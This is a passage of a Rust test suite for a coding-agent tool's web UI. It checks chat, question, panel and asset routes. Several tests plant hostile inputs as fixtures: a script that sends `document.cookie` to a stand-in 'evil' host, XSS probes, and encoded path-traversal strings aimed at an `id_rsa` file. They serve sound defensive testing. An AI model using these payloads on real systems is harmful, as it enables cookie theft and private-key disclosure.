3272 Chats::at(self.home.path().join("chats"))
3273 }
3274
3275 fn talks(&self) -> Talks {
3276 Talks::at(self.home.path().join("talks"))
3277 }
3278
3279 fn runs(&self) -> PathBuf {
3280 self.home.path().join("runs")
3281 }
3282
3283 async fn get(&self, path: &str) -> Res {
3284 request(self.addr, "GET", path, None).await
3285 }
3286
3287 async fn head(&self, path: &str) -> Res {
3292 request(self.addr, "HEAD", path, None).await
3293 }
3294
3295 async fn post(&self, path: &str, body: Option<&str>) -> Res {
3296 request(self.addr, "POST", path, body).await
3297 }
3298
3299 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3300 request_with(self.addr, "GET", path, None, extra).await
3301 }
3302
3303 async fn delete(&self, path: &str) -> Res {
3304 request(self.addr, "DELETE", path, None).await
3305 }
3306 }
3307
3308 struct Res {
3309 status: u16,
3310 headers: String,
3311 head: String,
3316 body: String,
3317 bytes: Vec<u8>,
3321 }
3322
3323 impl Res {
3324 fn json(&self) -> Value {
3325 serde_json::from_str(&self.body)
3326 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3327 }
3328
3329 fn header(&self, name: &str) -> Option<&str> {
3331 self.head.lines().find_map(|line| {
3332 let (key, value) = line.split_once(':')?;
3333 key.trim()
3334 .eq_ignore_ascii_case(name)
3335 .then(|| value.trim_start().trim_end_matches('\r'))
3336 })
3337 }
3338 }
3339
3340 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3343 request_with(addr, method, path, body, &[]).await
3344 }
3345
3346 async fn request_with(
3350 addr: SocketAddr,
3351 method: &str,
3352 path: &str,
3353 body: Option<&str>,
3354 extra: &[(&str, &str)],
3355 ) -> Res {
3356 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3357 for (name, value) in extra {
3358 head.push_str(&format!("{name}: {value}\r\n"));
3359 }
3360 if let Some(body) = body {
3361 head.push_str("Content-Type: application/json\r\n");
3362 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3363 }
3364 head.push_str("\r\n");
3365 if let Some(body) = body {
3366 head.push_str(body);
3367 }
3368 let mut socket = tokio::net::TcpStream::connect(addr)
3369 .await
3370 .expect("connect to the test server");
3371 socket
3372 .write_all(head.as_bytes())
3373 .await
3374 .expect("write request");
3375 let mut raw = Vec::new();
3376 socket.read_to_end(&mut raw).await.expect("read response");
3377 let split = raw
3380 .windows(4)
3381 .position(|w| w == b"\r\n\r\n")
3382 .expect("a header block");
3383 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3384 let bytes = raw[split + 4..].to_vec();
3385 let status = head
3386 .lines()
3387 .next()
3388 .and_then(|line| line.split_whitespace().nth(1))
3389 .and_then(|code| code.parse().ok())
3390 .expect("a status line");
3391 Res {
3392 status,
3393 headers: head.to_lowercase(),
3394 head,
3395 body: String::from_utf8_lossy(&bytes).into_owned(),
3396 bytes,
3397 }
3398 }
3399
3400 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3402 let mut state = RunState::new(
3403 PathBuf::from("/repo/magi"),
3404 "main".to_owned(),
3405 "0123456789abcdef".to_owned(),
3406 "Add a web UI\n\nMobile first.".to_owned(),
3407 Config::default(),
3408 );
3409 state.id = id.to_owned();
3410 state.status = status;
3411 let dir = runs.join(id);
3412 std::fs::create_dir_all(&dir).expect("run dir");
3413 std::fs::write(
3414 dir.join("run.json"),
3415 serde_json::to_string_pretty(&state).expect("serialize run"),
3416 )
3417 .expect("write run.json");
3418 }
3419
3420 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3421 let body = serde_json::json!({
3422 "schema": 1,
3423 "pid": 4242,
3424 "started_at": Timestamp::now().to_string(),
3425 "updated_at": updated_at.to_string(),
3426 "idle": false,
3427 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3428 "completed": 7,
3429 "polls": 143,
3430 });
3431 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3432 }
3433
3434 fn launch_idle(
3444 _opts: daemon::Opts,
3445 stop: daemon::Stop,
3446 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3447 Box::pin(async move {
3448 while !stop.stopped() {
3449 tokio::time::sleep(Duration::from_millis(2)).await;
3450 }
3451 Ok(())
3452 })
3453 }
3454
3455 fn launch_broken(
3458 _opts: daemon::Opts,
3459 _stop: daemon::Stop,
3460 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3461 Box::pin(async {
3462 Err(anyhow::anyhow!(
3463 "publish the daemon status file: read-only file system"
3464 ))
3465 })
3466 }
3467
3468 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3475 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3476
3477 fn launch_knocking_on_the_way_out(
3484 _opts: daemon::Opts,
3485 stop: daemon::Stop,
3486 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3487 Box::pin(async move {
3488 while !stop.stopped() {
3489 tokio::time::sleep(Duration::from_millis(2)).await;
3490 }
3491 let addr = PARK_KNOCK
3492 .lock()
3493 .expect("park knock")
3494 .expect("the test set an address");
3495 let heard = request(addr, "GET", "/api/health", None).await.status;
3496 *PARK_HEARD.lock().expect("park heard") = Some(heard);
3497 Ok(())
3498 })
3499 }
3500
3501 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3509 for _ in 0..200 {
3510 let view = fx.get("/api/loop").await.json();
3511 if want(&view) {
3512 return view;
3513 }
3514 tokio::time::sleep(Duration::from_millis(10)).await;
3515 }
3516 panic!(
3517 "the loop never settled: {}",
3518 fx.get("/api/loop").await.json()
3519 );
3520 }
3521
3522 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3524 let store = fx.questions();
3525 let mut q = Question::new(
3526 "20260902-000000-beef".to_owned(),
3527 "implement".to_owned(),
3528 "impl-A".to_owned(),
3529 summary.to_owned(),
3530 "because it matters".to_owned(),
3531 choices.iter().map(|c| (*c).to_owned()).collect(),
3532 );
3533 store.put(&mut q).expect("put question");
3534 q.id
3535 }
3536
3537 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3543 let store = fx.questions();
3544 let mut q = Question::new(
3545 "20260902-000000-beef".to_owned(),
3546 "land".to_owned(),
3547 "fix".to_owned(),
3548 "Merge this?".to_owned(),
3549 "the diff is in the panel".to_owned(),
3550 vec!["merge".to_owned(), "hold".to_owned()],
3551 );
3552 let staging = fx.home.path().join("staging");
3555 std::fs::create_dir_all(&staging).expect("staging dir");
3556 let sources: Vec<PathBuf> = assets
3557 .iter()
3558 .map(|(name, bytes)| {
3559 let path = staging.join(name);
3560 std::fs::write(&path, bytes).expect("write staged asset");
3561 path
3562 })
3563 .collect();
3564 store
3565 .put_panel(&mut q, html, &sources)
3566 .expect("write the panel");
3567 store.put(&mut q).expect("put question");
3568 q.id
3569 }
3570
3571 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3579 let store = fx.chats();
3580 std::fs::create_dir_all(store.root()).expect("chats dir");
3581 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3582 .expect("serialize a seat");
3583 let body = serde_json::json!({
3584 "schema": 1,
3585 "id": id,
3586 "repo": "/repo/magi",
3587 "agent": "sonnet",
3588 "status": status,
3589 "turns": [
3590 { "who": "operator", "body": "rework the config loader",
3591 "at": Timestamp::now().to_string() },
3592 { "who": "agent", "body": "Which part is hurting?",
3593 "at": Timestamp::now().to_string() },
3594 ],
3595 "draft": draft,
3596 "task": Value::Null,
3597 "created_at": Timestamp::now().to_string(),
3598 "updated_at": Timestamp::now().to_string(),
3599 "seat": seat,
3600 });
3601 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3602 store.get(id).expect("the seeded chat has to be readable");
3605 id.to_owned()
3606 }
3607
3608 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3611 let store = fx.talks();
3612 std::fs::create_dir_all(store.root()).expect("talks dir");
3613 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3614 .expect("serialize a seat");
3615 let body = serde_json::json!({
3616 "schema": 1,
3617 "id": id,
3618 "repo": "/repo/magi",
3619 "agent": "mock",
3620 "status": status,
3621 "turns": [],
3622 "created_at": Timestamp::now().to_string(),
3623 "updated_at": Timestamp::now().to_string(),
3624 "seat": seat,
3625 });
3626 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3627 store.get(id).expect("the seeded talk has to be readable");
3628 id.to_owned()
3629 }
3630
3631 fn good_draft() -> String {
3634 "# Rework the config loader\n\n\
3635 ## Why\n\n\
3636 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3637 roster four hundred times pays four hundred parses of the same file.\n\n\
3638 ## What\n\n\
3639 Load the layers once when the run starts and hand the merged value \
3640 around. Nothing about the file format changes.\n\n\
3641 ## Acceptance criteria\n\n\
3642 - `Config::discover` is called exactly once per run.\n\
3643 - `cargo test` passes with no change to any existing assertion.\n"
3644 .to_owned()
3645 }
3646
3647 #[tokio::test]
3648 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3649 let fx = Fixture::start().await;
3650 let id = panel(
3651 &fx,
3652 "<h1>Merge?</h1><img src=\"diff.svg\">",
3653 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3654 );
3655
3656 for path in [
3657 format!("/api/questions/{id}/panel"),
3658 format!("/api/questions/{id}/asset/diff.svg"),
3659 ] {
3660 let res = fx.get(&path).await;
3661 assert_eq!(res.status, 200, "{path}: {}", res.body);
3662 assert_eq!(
3668 res.header("content-security-policy"),
3669 Some(
3670 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3671 font-src data:; base-uri 'none'; form-action 'none'; \
3672 frame-ancestors 'self'"
3673 ),
3674 "{path} is the only thing between a hostile panel and the tailnet"
3675 );
3676 assert_eq!(
3677 res.header("x-content-type-options"),
3678 Some("nosniff"),
3679 "{path}: a browser must not re-decide the type we sent"
3680 );
3681 assert_eq!(
3682 res.header("referrer-policy"),
3683 Some("no-referrer"),
3684 "{path}: a panel must not leak the question id off the machine"
3685 );
3686
3687 let pre = fx.head(&path).await;
3692 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3693 assert_eq!(
3694 pre.header("content-security-policy"),
3695 res.header("content-security-policy"),
3696 "{path}: the preflight carries the same policy"
3697 );
3698 assert_eq!(
3699 pre.header("content-type"),
3700 res.header("content-type"),
3701 "{path}: the preflight carries the same type"
3702 );
3703 }
3704 }
3705
3706 #[tokio::test]
3707 async fn a_panel_reaches_the_browser_byte_for_byte() {
3708 let fx = Fixture::start().await;
3709 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3714 let id = panel(&fx, html, &[]);
3715
3716 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3717
3718 assert_eq!(res.status, 200);
3719 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3720 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3721 assert_eq!(
3722 res.header("content-disposition"),
3723 None,
3724 "the panel itself is rendered in the frame, not downloaded"
3725 );
3726 }
3727
3728 #[tokio::test]
3729 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3730 let fx = Fixture::start().await;
3731 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3732 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3733 let id = panel(
3734 &fx,
3735 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3736 &[("diff.svg", svg), ("shot.png", png)],
3737 );
3738
3739 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3740 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3741
3742 assert_eq!(as_svg.status, 200);
3743 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3744 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3749
3750 assert_eq!(as_png.status, 200);
3751 assert_eq!(as_png.header("content-type"), Some("image/png"));
3752 assert_eq!(
3753 as_png.header("content-disposition"),
3754 None,
3755 "a raster image has no execution surface, so tapping it still shows it"
3756 );
3757 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3758 }
3759
3760 #[tokio::test]
3761 async fn an_html_asset_is_never_served_as_html() {
3762 let fx = Fixture::start().await;
3763 let id = panel(
3764 &fx,
3765 "<p>see the notes</p>",
3766 &[
3767 (
3768 "notes.html",
3769 b"<script>fetch('http://evil/'+document.cookie)</script>",
3770 ),
3771 ("hook.js", b"fetch('http://evil/')"),
3772 ("data.json", b"{}"),
3773 ("HEADLINE.TXT", b"plain"),
3774 ],
3775 );
3776
3777 for name in ["notes.html", "hook.js", "data.json"] {
3778 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3779 assert_eq!(res.status, 200, "{name}: {}", res.body);
3780 assert_eq!(
3785 res.header("content-type"),
3786 Some("application/octet-stream"),
3787 "{name} must not be a type the browser will execute or render"
3788 );
3789 }
3790 let txt = fx
3793 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3794 .await;
3795 assert_eq!(
3796 txt.header("content-type"),
3797 Some("text/plain; charset=utf-8")
3798 );
3799 }
3800
3801 #[tokio::test]
3802 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3803 let fx = Fixture::start().await;
3804 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3805 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3809
3810 for encoded in [
3817 "%2e%2e%2fid_rsa",
3818 "..%2fid_rsa",
3819 "..%5cid_rsa",
3820 "%2e%2e%5cid_rsa",
3821 "diff%00.svg",
3822 "..",
3823 ".hidden",
3824 "%2e%2e%2f%2e%2e%2fid_rsa",
3825 ] {
3826 let res = fx
3827 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3828 .await;
3829 assert_eq!(
3830 res.status, 400,
3831 "`{encoded}` has to be refused by name, not looked up: {}",
3832 res.body
3833 );
3834 assert!(res.json()["error"].is_string(), "{}", res.body);
3835 }
3836
3837 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3843 let res = fx
3844 .get(&format!("/api/questions/{id}/asset/{literal}"))
3845 .await;
3846 assert_eq!(
3847 res.status, 404,
3848 "`{literal}` must not match the asset route at all: {}",
3849 res.body
3850 );
3851 }
3852 }
3853
3854 #[tokio::test]
3855 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3856 let fx = Fixture::start().await;
3857 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3858 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3859
3860 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3864 assert_eq!(none.status, 404, "{}", none.body);
3865 assert!(none.json()["error"].is_string(), "{}", none.body);
3866 assert_eq!(
3867 fx.head(&format!("/api/questions/{plain}/panel"))
3868 .await
3869 .status,
3870 404,
3871 "the preflight is the only way the client can learn this"
3872 );
3873
3874 let missing = fx
3876 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3877 .await;
3878 assert_eq!(missing.status, 404, "{}", missing.body);
3879 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3880
3881 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3883 assert_eq!(
3884 fx.get("/api/questions/nope/asset/diff.svg").await.status,
3885 404
3886 );
3887 }
3888
3889 #[tokio::test]
3890 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3891 let fx = Fixture::start().await;
3892 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3893
3894 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3895 interview(&fx, "20260903-014456-open", "open", None);
3896
3897 let listed = fx.get("/api/chats").await;
3898 assert_eq!(listed.status, 200, "{}", listed.body);
3899 let chats = listed.json();
3900 assert_eq!(chats.as_array().map(Vec::len), Some(2));
3901 assert_eq!(
3902 chats[0]["id"], "20260903-014456-open",
3903 "an unfinished interview is what the operator came back for: {chats}"
3904 );
3905 assert_eq!(chats[0]["status"], "open");
3906 assert_eq!(chats[0]["turns"][0]["who"], "operator");
3909 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3910 assert_eq!(chats[1]["status"], "filed");
3911
3912 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3915 }
3916
3917 #[tokio::test]
3918 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3919 let fx = Fixture::start().await;
3920 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3921
3922 let full = fx.get(&format!("/api/chats/{id}")).await;
3923 assert_eq!(full.status, 200, "{}", full.body);
3924 assert_eq!(full.json()["id"], id);
3925 assert_eq!(full.json()["repo"], "/repo/magi");
3926
3927 let short = fx.get("/api/chats/ab12").await;
3929 assert_eq!(short.status, 200, "{}", short.body);
3930 assert_eq!(short.json()["id"], id);
3931
3932 let missing = fx.get("/api/chats/nosuchchat").await;
3933 assert_eq!(missing.status, 404, "{}", missing.body);
3934 assert!(
3935 missing.json()["error"]
3936 .as_str()
3937 .is_some_and(|e| e.contains("chat")),
3938 "the error names what was not found: {}",
3939 missing.body
3940 );
3941 }
3942
3943 #[tokio::test]
3944 async fn filing_a_bad_draft_reports_every_problem_at_once() {
3945 let fx = Fixture::start().await;
3946 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3947
3948 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3949
3950 assert_eq!(res.status, 400, "{}", res.body);
3951 let problems = res.json()["problems"].clone();
3952 let problems = problems.as_array().expect("an array of problems");
3953 assert!(
3958 problems.len() > 1,
3959 "one round trip has to be enough to fix the draft: {}",
3960 res.body
3961 );
3962 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3963 assert!(res.json()["error"].is_string(), "{}", res.body);
3964 assert!(
3965 fx.queue().list().is_empty(),
3966 "a refused draft must not reach the queue"
3967 );
3968
3969 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3972 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3973 assert_eq!(res.status, 400, "{}", res.body);
3974 assert_eq!(
3975 res.json()["problems"].as_array().map(Vec::len),
3976 Some(1),
3977 "{}",
3978 res.body
3979 );
3980 }
3981
3982 #[tokio::test]
3983 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3984 let fx = Fixture::start().await;
3985 let draft = good_draft();
3986 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3987
3988 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3989
3990 assert_eq!(res.status, 200, "{}", res.body);
3991 let task = res.json()["task"]
3992 .as_str()
3993 .unwrap_or_else(|| panic!("a task id: {}", res.body))
3994 .to_owned();
3995
3996 let queued = fx.queue().get(&task).expect("the task is on disk");
3999 assert_eq!(
4000 queued.instruction, draft,
4001 "the draft reaches the graph verbatim"
4002 );
4003 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4004 assert_eq!(
4005 fx.get("/api/queue").await.json()[0]["id"],
4006 task,
4007 "the filed task is the listed one"
4008 );
4009
4010 let after = fx.get(&format!("/api/chats/{id}")).await.json();
4012 assert_eq!(after["task"], task);
4013 assert_eq!(after["status"], "filed");
4014 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4015 }
4016
4017 #[tokio::test]
4018 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4019 let fx = Fixture::start().await;
4020 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4021 let ui = Ui::new(
4022 fx.queue(),
4023 fx.questions(),
4024 fx.chats(),
4025 fx.talks(),
4026 fx.runs(),
4027 fx.home.path().to_path_buf(),
4028 PathBuf::from("/repo/magi"),
4029 )
4030 .with_worktrees_root(fx.home.path().join("wt"));
4031
4032 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4036 let second = ui.begin_turn(&id).expect_err("the second must be refused");
4037 assert_eq!(
4038 second.status,
4039 StatusCode::CONFLICT,
4040 "a double tap on a slow link must not append two half-turns"
4041 );
4042
4043 drop(first);
4047 assert!(
4048 ui.begin_turn(&id).is_ok(),
4049 "the slot has to come back on its own"
4050 );
4051 }
4052
4053 #[tokio::test]
4054 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4055 let fx = Fixture::start().await;
4056 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4057
4058 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
4061 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4062 assert_eq!(res.status, 400, "{body}: {}", res.body);
4063 }
4064 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
4065 assert_eq!(res.status, 400, "{}", res.body);
4066
4067 assert_eq!(
4068 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4069 .as_array()
4070 .map(Vec::len),
4071 Some(2),
4072 "nothing above may have appended a turn"
4073 );
4074 }
4075
4076 #[tokio::test]
4077 async fn a_run_with_an_open_question_reads_as_waiting() {
4078 let fx = Fixture::start().await;
4079 let run = "20260902-000000-beef".to_owned();
4080 write_run(&fx.runs(), &run, RunStatus::Implementing);
4081
4082 let before = fx.get("/api/runs").await.json();
4083 assert_eq!(before[0]["waiting"], false, "{before}");
4084
4085 let store = fx.questions();
4086 let mut q = Question::new(
4087 run.clone(),
4088 "implement".to_owned(),
4089 "impl-A".to_owned(),
4090 "Which backend?".to_owned(),
4091 String::new(),
4092 vec!["SQLite".to_owned()],
4093 );
4094 store.put(&mut q).expect("put");
4095
4096 let during = fx.get("/api/runs").await.json();
4097 assert_eq!(during[0]["waiting"], true, "{during}");
4098
4099 q.answer(Answer::Choice("SQLite".to_owned()))
4102 .expect("answer");
4103 store.put(&mut q).expect("put");
4104 let after = fx.get("/api/runs").await.json();
4105 assert_eq!(after[0]["waiting"], false, "{after}");
4106 }
4107
4108 #[tokio::test]
4109 async fn an_open_question_is_listed_and_counted_by_health() {
4110 let fx = Fixture::start().await;
4111 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4112
4113 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4114 let listed = fx.get("/api/questions").await.json();
4115 assert_eq!(listed.as_array().expect("array").len(), 1);
4116 assert_eq!(listed[0]["id"], id);
4117 assert_eq!(listed[0]["status"], "open");
4118 assert_eq!(listed[0]["choices"][1], "Redis");
4119 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4122 }
4123
4124 #[tokio::test]
4125 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4126 let fx = Fixture::start().await;
4127 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4128 let path = format!("/api/questions/{id}/answer");
4129
4130 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4131 assert_eq!(res.status, 200, "{}", res.body);
4132 let body = res.json();
4133 assert_eq!(body["status"], "answered");
4134 assert_eq!(body["answer"]["choice"], "Redis");
4135
4136 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4140 assert_eq!(again.status, 409, "{}", again.body);
4141 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4142 }
4143
4144 #[tokio::test]
4145 async fn an_answer_the_question_does_not_offer_is_refused() {
4146 let fx = Fixture::start().await;
4147 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4148 let path = format!("/api/questions/{id}/answer");
4149
4150 for body in [
4151 r#"{"choice":"Postgres"}"#,
4152 r#"{"text":"whatever you think"}"#,
4153 r#"{"choice":"Redis","text":"both"}"#,
4154 r#"{}"#,
4155 ] {
4156 let res = fx.post(&path, Some(body)).await;
4157 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4158 assert!(res.json()["error"].is_string(), "{}", res.body);
4159 }
4160 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4162 }
4163
4164 #[tokio::test]
4165 async fn a_free_text_question_takes_text_and_not_a_choice() {
4166 let fx = Fixture::start().await;
4167 let id = ask(&fx, "What should the flag be called?", &[]);
4168 let path = format!("/api/questions/{id}/answer");
4169
4170 assert_eq!(
4171 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4172 400
4173 );
4174 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4175 assert_eq!(res.status, 200, "{}", res.body);
4176 assert_eq!(res.json()["answer"]["text"], "--json");
4177 }
4178
4179 #[tokio::test]
4180 async fn an_unknown_question_is_a_json_404() {
4181 let fx = Fixture::start().await;
4182 let res = fx
4183 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4184 .await;
4185 assert_eq!(res.status, 404, "{}", res.body);
4186 assert!(res.json()["error"].is_string());
4187 }
4188
4189 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4191 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4192 .expect("checkout dir");
4193 }
4194
4195 #[tokio::test]
4196 async fn repos_list_returns_name_and_path_for_every_configured_root() {
4197 let tmp = TempDir::new().expect("tempdir");
4198 let repo = tmp.path().join("repo");
4199 std::fs::create_dir_all(&repo).expect("repo dir");
4200 let root = tmp.path().join("root");
4201 make_checkout(&root, "github.com", "yukimemi", "magi");
4202 std::fs::write(
4203 repo.join("magi.toml"),
4204 format!(
4205 "[repos]\nroots = [{:?}]\n",
4206 root.to_string_lossy().into_owned()
4207 ),
4208 )
4209 .expect("write magi.toml");
4210
4211 let f = Fixture::with_repo(repo).await;
4212 let res = f.get("/api/repos").await;
4213 assert_eq!(res.status, 200, "{}", res.body);
4214 let list = res.json();
4215 let repos = list.as_array().expect("an array");
4216 assert_eq!(repos.len(), 1);
4217 assert_eq!(repos[0]["name"], "yukimemi/magi");
4218 assert!(
4219 repos[0]["path"]
4220 .as_str()
4221 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4222 "{list}"
4223 );
4224 }
4225
4226 #[tokio::test]
4227 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4228 let tmp = TempDir::new().expect("tempdir");
4229 let repo = tmp.path().join("repo");
4230 std::fs::create_dir_all(&repo).expect("repo dir");
4231 let root = tmp.path().join("root");
4232 make_checkout(&root, "github.com", "yukimemi", "magi");
4233 std::fs::write(
4234 repo.join("magi.toml"),
4235 format!(
4236 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4237 root.to_string_lossy().into_owned()
4238 ),
4239 )
4240 .expect("write magi.toml");
4241
4242 let f = Fixture::with_repo(repo).await;
4243 let first = f.get("/api/repos").await;
4244 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4245
4246 make_checkout(&root, "github.com", "yukimemi", "rvpm");
4249 let second = f.get("/api/repos").await;
4250 assert_eq!(
4251 second.json().as_array().map(Vec::len),
4252 Some(1),
4253 "a fresh cache must not rescan inside the TTL"
4254 );
4255
4256 let refreshed = f.get("/api/repos?refresh=1").await;
4257 assert_eq!(
4258 refreshed.json().as_array().map(Vec::len),
4259 Some(2),
4260 "an explicit refresh must rescan even inside the TTL"
4261 );
4262 }
4263
4264 #[tokio::test]
4265 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
4266 let f = Fixture::start().await;
4267 let res = f
4268 .post(
4269 "/api/chats",
4270 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
4271 )
4272 .await;
4273 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
4274 assert!(
4275 res.json()["error"]
4276 .as_str()
4277 .is_some_and(|e| e.contains("nosuchchat")),
4278 "the error names the id that does not exist: {}",
4279 res.body
4280 );
4281 assert!(
4282 f.chats().list().is_empty(),
4283 "a chat must not be created against an unresolvable `from`"
4284 );
4285 }
4286
4287 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4304
4305 #[tokio::test]
4306 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4307 let tmp = TempDir::new().expect("tempdir");
4308 let repo = tmp.path().join("repo");
4309 let other = tmp.path().join("other");
4310 std::fs::create_dir_all(&repo).expect("repo dir");
4311 std::fs::create_dir_all(&other).expect("other repo dir");
4312 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4316 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4317
4318 let f = Fixture::with_repo(repo.clone()).await;
4319
4320 let default_res = f
4321 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4322 .await;
4323 assert_eq!(default_res.status, 201, "{}", default_res.body);
4324 assert_eq!(
4325 default_res.json()["repo"],
4326 repo.canonicalize().unwrap().display().to_string(),
4327 "omitting `repo` must keep the server's own"
4328 );
4329
4330 let body = format!(
4331 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4332 other.to_string_lossy()
4333 );
4334 let explicit_res = f.post("/api/chats", Some(&body)).await;
4335 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4336 assert_eq!(
4337 explicit_res.json()["repo"],
4338 other.canonicalize().unwrap().display().to_string(),
4339 "an explicit `repo` must override the server's own"
4340 );
4341 }
4342
4343 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4347 let tmp = TempDir::new().expect("tempdir");
4348 let repo = tmp.path().join("repo");
4349 std::fs::create_dir_all(&repo).expect("repo dir");
